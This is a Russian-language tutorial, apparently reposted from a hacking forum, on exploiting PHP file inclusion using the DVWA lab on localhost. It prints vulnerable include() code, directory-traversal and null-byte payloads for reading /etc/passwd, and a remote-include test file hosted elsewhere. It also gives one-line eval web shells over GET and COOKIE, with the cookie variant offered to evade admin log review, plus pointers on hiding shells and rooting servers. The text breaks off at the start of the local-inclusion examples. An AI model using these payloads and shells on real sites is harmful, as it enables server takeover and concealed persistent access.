PHP File Inclusion
От ошибки до шелла
File inclusion (оно же – php include/inclusion, php injection, в народе – инклуд) – уязвимость веб приложений, возникающая вследствие недостаточной фильтрации получаемых от пользователей данных для функций включения кода (см. ниже) и позволяющая выполнить произвольный php код на уязвимом сервере.
Сначала рассмотрим природу этой уязвимости, а именно причину её возникновения. Данный баг возникает вследствие получения параметров для функций include(), require(), eval(), include_once() и require_once() от пользователей без проверки или фильтрации.
В таком случае пользователь (с самыми честными намерениями) получает возможность передавать в функции нужные ему параметры, тем самым включая произвольный код в уязвимые скрипты и выполняя его на атакуемом сервере.
Примечание: подразумевается, что php знают все читатели. Недоучившим для полного удовлетворения рекомендуется освежить в памяти назначение вышеуказанных функций. Также тем, кто не знает, что такое суперглобальные переменные в php ($_POST, $_GET и иже с ними) обязательно к прочтению и пониманию.
Для наглядности смоделируем подобную ситуацию. Есть бездарный девелопер, одна штука + его попытка написать сайт с подключаемыми модулями. Такова будет его гениальная реализация:
code:
<?
...
$page = $_GET['page'];
include($page.'.php');
...
?>
Здесь параметр для функции include() передаётся в скрипт методом GET (и зачем я это пишу, очевидно же), а значит, ссылка на страницу будет выглядеть, например, так:
_ttp:// site.com/script.php?page=news Да, «программист» думал, что так будет легко подключать к страницам сайта блок новостей или, например, фотоальбом и календарик и ссылаться на них как-то так:
_ttp:// site.com/script.php?page=album _ttp:// site.com/script.php?page=calendar Какой наивный мальчик. ^_^ Параметр page функции include доступен для модификации пользователям, следовательно его знаение может быть изменёно на нужное злоумышленнику. Так появляется возможность включения произвольного кода. Подробнее алгоритм и способы внедрения будут рассмотрены далее.
Подготовка тренировочного полигона
Для начала определимся с площадкой для наших экспериментов. Сразу ставлю этот вопрос, потому что без практики изучать что-либо бесполезно, а если не порешить с этим делом сразу, многие и пробовать не будут (по себе знаю =) ).
Вечный вопрос «где?» можно сразу отбрасывать – на локалхосте. Ибо в вебе и искать долго, и работать медленнее. А чтобы не писать уязвимых скриптов самим, воспользуемся продуктом за именем DVWA (Damn Vulnerable Web Aplication). Ознакомиться с кратким описанием можно здесь (а здесь офсайт). Только не уходите надолго, когда установите - возвращайтесь!
Но одной только установкой DVWA наша подготовка не заканчивается. Дабы все уязвимые скрипты были уязвимы на полную катушку, нужно внести некоторые изменения в конфигурацию нашего сервера, а именно интерпретатора php. Откройте конфигурационный файл php.ini, найдите и отредактируйте указанные ниже директивы:
code:
register_globals=ON ; глобализация переменных - потенциальная брешь в безопасности
magic_quotes=OFF ; отключаем магические кавычки для GET/POST/COOKIE - благоприятствует SQL-inj и позволяет использовать нуль-байт в инклудах
; Следующие 3 параметра необязательны для изучения инклудов. Можете установить их на будущее.
magic_quotes_runtime=OFF ; благоприятствует SQL-inj
magic_quotes_sybase=OFF ; благоприятствует SQL-inj
mysql.trace_mode=ON ; включает показ ошибок Mysql
allow_url_fopen=ON ; разрешает удаленное открытие файлов файловыми функциями
allow_url_include=ON ; разрешает удаленно инклудить файлы
error_reporting=E_ALL ; показ всех ошибок
disable_functions= ; никаких ограничений
safe_mode=OFF ; никаких ограничений
open_basedir= ; никаких ограничений
sql.safe_mode=OFF ;
Внимание! Данная конфигурация сервера способствует проявлению множества критических уязвимостей веб-приложений и снижает его защищённость. Используйте данную конфигурацию только для тестирования уязвимостей веб приложений и только на localhost-сервере.
После сохранения изменений необходимо перезапустить сервер. Ах да, когда будете заходить в DVWA, не забывайте в разделе «Security» устанавливать значение уровня защищённости в «Low». На других уровнях уязвимости там не будет.
На этом подготовительный этап заканчивается. Теперь рассмотрим то, с чего начинается любой взлом... и, разумеется, любая защита.
Поиск уязвимости
В случае с нашей тренировочной площадкой на местоположение уязвимого скрипта как бы незаметно намекает кнопка «File Inclusion», но может оно и к лучшему. Потратить час-другой на поиск уязвимости всегда успеете, но сейчас же не до этого. Лучше попробуйте самостоятельно поэкспериментировать с уязвимым параметром, передаваемым в адресной строке (изменить на любой другой текст) и посмотреть, как на это отреагирует скрипт при наличии уязвимости.
http://localhost/dvwa/vulnerabilities/fi/?page=whatsup
Цитата:
Сообщение от [url
http://localhost/dvwa/vulnerabilities/fi/?page=whatsup][/url]Warning: include(whatsup) [function.include]: failed to open stream: No such file or directory in W:\home\localhost\www\dvwa\vulnerabilities\fi\index.php on line 35
Warning: include() [function.include]: Failed opening 'whatsup' for inclusion (include_path='.;/usr/local/php5/PEAR;../../external/phpids/0.6/lib/') in W:\home\localhost\www\dvwa\vulnerabilities\fi\index.php on line 35
На подстановке левых значений и обнаружении подобных ошибок и основан поиск file inclusion. В общих чертах процесс поиска инклудов похож на поиск SQL инъекций и XSS – мы всё так же изменяем все передаваемые скрипту параметры чтобы узнать его реакцию. Так как природу уязвимости мы уже понимаем, можем догадаться, что ошибка происходит потому, что скрипт пытается подключить несуществующий файл (иногда эрроры могут и не вываливаться, если отключен их вывод, но в таком случае мы всё равно увидим изменение страницы). А это, в свою очередь значит, что мы нашли параметр, указывающий на подключаемый файл, и теоретически имеем возможность этим воспользоваться. Чтож, попробуем...
Проверка найденной уязвимости
Для начала убедимся, что найденная аномалия вообще является инклудом. Подставим в параметр адрес файла на сервере, в существовании которого мы уверены. Классика — файл /etc/passwd. Путь к файлу указывается относительно текущего скрипта, поэтому для перехода в корневой каталог используется несколько последовательностей ../ (кто не в курсе, символы ../ означают переход на каталог выше, запомните их):
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
На странице отобразилось содержимое этого файла, следовательно, мы не ошиблись и действительно нашли уязвимость file inclusion (кто бы сомневался...)!
Примечание: в случае, если сервером является система семейства *BSD, файла /etc/passwd вы там не найдёте. Попробуйте включить /etc/groups (просто для проверки работоспособности инклуда).
Если у вас сейчас не отобразилось ничего особоенного, причина этому одна - вы под виндой. =) Я не собираюсь сейчас пропагандировать *nix и вести демагогию насчёт преимуществ той или иной системы, но факт остаётся фактом — доля никсовых сервантов с сайтами составляет по разным источникам 90% и более от общего кол-ва серверов. Поэтому в статье рассматриваются инклуды именно в никсовые сервера. Как вы увидите далее, существует немало тонкостей, зависящих от ОС, под которой работает атакуемый сайт.
Следует сразу предупредить, что в случаях, когда в конфиге open_basedir грамотно ограничивает каталоги, доступные интерпретатору php, для проверки уязвимости нужно будет подключить что-то из каталога веб-сервера. Единственно возможный способ залить шелл в таком случае – применить file upload (см. часть «Эксплуатирование», параграф «Local File Include», пункт 1).
Null-byte
Часто встречаются ситуации, когда при проверке уязвимости вместо содержимого файла вываливается очередная ошибка подключения:
Цитата:
Warning: main(/etc/passwd.php): failed to open stream: No such file or directory in /var/www/script.php on line 3
Warning: main(): Failed opening '/etc/passwd.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /var/www/script.php on line 3
Обратили внимание на добавившееся расширение .php? Это происходит, если функция включения реализована так, как это было показано в самом начале статьи. То есть если к передаваемому функции параметру автоматически дописывается какое-либо расширение (не обязательно это именно php, может встречаться и любое другое расширение). Для того, чтобы отбросить расширение (которое, по сути, является частью строки, переданной в функцию include), используют символ конца строки - нулевой байт (null-byte): %00
То есть при ошибках с дополнительным расширением файл следует инклудить таким образом: http://site.com/script.php?page=../../../../../.../../etc/passwd%00 В случаях, когда в конфиге magic_quotes_gpc=On, нуль-байт будет экранироваться. Решение этой проблемы см. в главе «advanced inclusion» (часть – «Good bye, null-byte!»).
Виды инклудов - LFI & RFI
Итак, дальнейший алгоритм эксплуатации будет зависеть от того, к какому виду инклудов принадлежит найденный нами. Уязвимости file inclusion подразделяются на 2 вида: локальные (LFI — Local File Inclusion) и удалённые (RFI — Remote File Inclusion).
Отступление по понятиям: локальный инклуд означает, что есть возможность подключать и исполнять или читать файлы только в пределах уязвимого сервера по относительному пути к файлам (а точнее в пределах заданной в конфиге php open_basedir, ибо она ограничивает доступные интерпретатору каталоги). При удалённом инклуде есть возможность подключать произвольные файлы с других серверов по их URL-адресам. RFI встречается гораздо реже, чем LFI и считается более опасной уязвимостью.
Определить к какому из видов инклудов относится наш не сложно. Так как мы уже уверены, что инклуд рабочий, локальным он будет априори. Удалённый же инклуд здесь будет возможен в том случае, если директива allow_url_include в конфигурации php находится в значении On.
Давайте попробуем провернуть удалённый инклуд в нашем DVWA. Для этого нужно проинклудить уже не локальный файл, а файл на удалённом сервере. Подготовим включаемый файл с таким содержимым:
code:
<?php echo "Remote File Include works! ^_^"; ?>
Назовём его include.txt и зальём на любой хостинг. Важно, чтобы файл был доступен для чтения, иначе функция включения не сможет прочесть подключаемый код. По этой причине нельзя использовать расширение .php в именах включаемых файлов. После подключения этого файла мы должны увидеть на странице надпись Remote File Include works!!111 ^_^". Пробуем:
http://localhost/dvwa/vulnerabilities/fi/?page= http://our.hosting.ru/include.txt Если у вас allow_url_include = On, всё должно сработать. Появление надписи означает, что здесь возможен удалённый инклуд.
[size=2]Примечание: при удалённом инклуде обрезать расширение нуль-байтом нет необходимости. Если оно дописывается скриптом, просто присвойте включаемому файлу такое же расширение, а в инклуде укажите URL файла без расширения. Скрипт сам его допишет.
Обратите внимание, что в случае, когда нужно задать файлу расширение .php, сам файл будет исполняться на сервере и его содержимое будет недоступно для чтения и инклуда. Решение проблемы - выводим нужный для инклуда код оператором вывода "echo":
code:
<?php
echo '<?php echo "Remote File Include works! ^_^"; ?>';
?>
Эксплуатирование
Фактически половину работы по эксплуатированию php-injection мы выполнили ещё на стадии проверки найденной уязвимости, когда подключили сторонний код. Осталось лишь довести дело до логического конца, подключив не просто проверочный скрипт, а полноценный шелл. Рискну предположить, что если вы начали читать эту статью, не зная, что такое инклуды или не понимая, как их применять, то возможно, вам не приходилось сталкиваться и с шеллами. Если моё предположение для вас неверно, переходите сразу к пункту «Remote File Inclusion», а остальных вкратце ввожу в тему.
Шеллы
Шелл (shell) — внедрённый на сервер код, позволяющий злоумышленнику контролировать систему. Полноценный шелл по сути представляет из себя некую контрольную панель, из которой можно отдавать системные или php команды серверу, управлять файлами (читать\скачивать\редактировать - полноценный файловый менеджер) и даже подключиться к БД сервера.
Слово «полноценный» было подчёркнуто не просто так. Шеллом можно так же назвать скрипт с таким содержимым:
code:
<?php
eval($_GET[cmd]);
?>
Он так же позволяет выполнять все вышеперечисленные действия посредством передачи команд через параметр cmd... если сохранить на локалхосте с именем shell.php:
http://localhost/shell.php?cmd=phpinfo();
Вывалит phpinfo вашего локалхоста. Просто и сердито, немного неудобно пользоваться, но достаточно, чтобы залить полноценный шелл (который просто являет собой удобную оболочку, интерфейс).
О том, как лить шеллы через пыхинклуд – будет сказано позже, а пока сделаю пару замечаний по этикету использования шеллов и отсыплю вам немного ссылок (без ссылок никак, ибо статья не про шеллы ).
Ну, во-первых, класть шелл в корень сайта с именем shell.php совершенно некультурно. Очевидно, что админ не станет терпеть такого хамства, удалит лишний скрипт, да ещё и плотно займётся безопасностью сайта и перекроет все дырки, по которым вы его так старательно туда лили. Шелл нужно прятать глубоко и старательно. О том, как именно их прятать, читай по ссылкам внизу.
Во-вторых, все GET-запросы отображаются в логах, а следовательно, внимательный админ может пропалить такие запросы, как описанный выше shell.php?cmd=phpinfo(); (ну мало ли зачем надо будет логи проверить). Дабы и здесь быть приличными и тихими, лучше реализовать вышеописанный скрипт с использованием COOKIE вместо GET:
code:
<?php
eval($_COOKIE[cmd]);
?>
В опере можно редактировать печеньки стандартными средствами, для остального ищем плагины — они есть.
В-третьих... да, эту тему можно развернуть ещё на пару статей (да и я сам не все хитрости знаю), так что лучше просто отсыплю полезных линков по сабжу:
Как скрыть шелл. Простейшие примеры.
Играем в прятки c админом. Как скрыть его ещё глубже.
Скрываем свой Php код в скрипте жертвы. Дабы не создавать своих палевных скриптов.
WSO. Просто и скромно… один из лучших веб-шеллов на php.
PPS Perl-CGI web shell. Когда команды php урезаны.
R00t me №1. Как порутать серв, имея шелл (просто для ознакомления).
Теперь, когда вы точно в курсе про шеллы, и я могу быть спокоен, что дальше не придётся дополнительно ничего разъяснять, можем, наконец, приступать к эксплуатрированию инклудов.
Remote File Inclusion
Здесь всё просто до безобразия. Если у вас уже получилось подключить скрипт с phpinfo ранее на этапе проверки найденного инклуда, просто замените его на удобный для вас шелл. Вот и всё, шелл мы получили! Правда, с серьёзным недостатком — он не залит на атакуемый сервер, а просто подключен. Это огромный минус, так как уязвимость может быть вскоре обнаружена и устранена, и ваш шелл отвалится. О том, как продвинуться дальше, будет сказано после рассмотрения LFI (под заголовком «льём постоянный шелл») потому что там мы упрёмся в аналогичный тупик.
Local File Include
Как уже говорилось ранее, если инклуд есть, то локальным он будет априори, а удалённый инклуд — лишь дополнительная фича бага, позволяющая проще получить базовый шелл (из предыдущего абзаца видно, что это действительно просто). Это я к тому, что всё, что сейчас будет здесь описано, можно провернуть и там, где есть удалённый инклуд. Вопрос только — надо ли?
Итак, получение базового шелла через локальный инклуд происходит по нижеследующему принципу. Сначала нужно найти файл, на содержимое которого мы можем повлиять (ну и который сможем затем проинклудить). Далее внести в этот файл код нашего базового шелла и подключить его.
Примечание: специфика функций включения такова, что даже если интерпретатор не настроен на обработку кода в файлах с отличными от .php расширениями, при инклуде такого файла php-код в нём (между символами <?php ... ?>) всё равно будет интерпретирован.
Ну а теперь пара самых простых и распространённых примеров реализации вышеописанного алгоритма (остальные известные мне приёмы будут рассмотрены в главе «advanced inclusion»).
Присоединяйтесь — мы покажем вам много интересного
Присоединяйтесь к ОК, чтобы подписаться на группу и комментировать публикации.
Нет комментариев